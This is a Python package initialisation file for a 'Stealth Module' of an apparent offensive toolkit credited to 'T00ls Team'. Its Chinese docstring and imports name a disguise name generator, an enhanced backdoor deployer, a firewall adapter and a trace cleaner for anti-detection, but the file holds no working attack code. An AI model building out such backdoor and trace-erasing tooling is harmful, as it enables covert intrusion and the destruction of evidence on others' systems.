#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

"""
Stealth Module - 隐蔽性功能模块

提供各种隐蔽性和反检测功能，包括：
- 伪装生成器 (DisguiseGenerator)
- 增强后门部署器 (EnhancedBackdoorDeployer) 
- 防火墙适配器 (FirewallAdapter)
- 痕迹清理器 (TraceCleaner)
"""

# Python 2/3 兼容性处理
import sys
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()

# 导入所有主要组件
try:
    from .disguise_generator import DisguiseNameGenerator
    from .enhanced_backdoor_deployer import EnhancedBackdoorDeployer
    from .firewall_adapter import FirewallAdapter
    from .trace_cleaner import TraceCleaner
    
    __all__ = [
        'DisguiseNameGenerator',
        'EnhancedBackdoorDeployer', 
        'FirewallAdapter',
        'TraceCleaner'
    ]
    
except ImportError:
    # 如果导入失败，提供空的__all__列表
    __all__ = []

__version__ = '1.0.0'
__author__ = 'T00ls Team'
__description__ = 'Stealth and Anti-Detection Module'